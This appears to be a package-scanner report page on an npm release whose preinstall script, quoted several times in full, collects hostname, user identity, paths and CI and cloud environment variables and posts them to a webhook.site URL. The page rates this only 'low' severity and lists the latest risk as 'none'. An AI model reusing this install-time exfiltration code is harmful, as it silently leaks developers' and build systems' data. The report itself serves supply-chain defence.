PkgRadar

Package evidence

[email protected]

Install-time lifecycle script: preinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-authentication', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Versions published
2
First published
May 2026
Publisher
kohliking

Recommended action

Review before promoting

Mixed signals: the package has indicators worth reading before allowing the update in automated dependency flows.

Block this release in CIcurl · GitHub Actions

Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.

curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["[email protected]"],"fail_on":"review"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["[email protected]"],"fail_on":"review"}'
Publisherkohliking
Artifact bytes889
Previous version99.0.0
Published2026-05-27T04:20:59.877Z
SHA-25644d2d00782b666bf175487836f41d039e630fa1ccb87ea61adc604355e9e0ece

Why flagged

What the scanner saw

Install-time lifecycle script: preinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-authentication', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

scan error

status
Last checked
noneRisk
Score
99.0.1Version

Latest scanner note: error decoding response body

Status history (2 events)
  1. availablescan_error · risk none · score · error decoding response body
  2. newavailable · risk review · score 5 · status changed

Evidence

Static findings

1 static · 0 from release diff · showing high-signal first.

No high-signal findings — see all findings below.

Show all 1 findings (low-signal and informational)
SeverityKindPathDetailPoints
lowInstall-time lifecycle scriptpackage.jsonpreinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-authentication', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""5

Manifest

Package metadata

Scripts1
  • preinstallnode -e " try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-authentication', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} "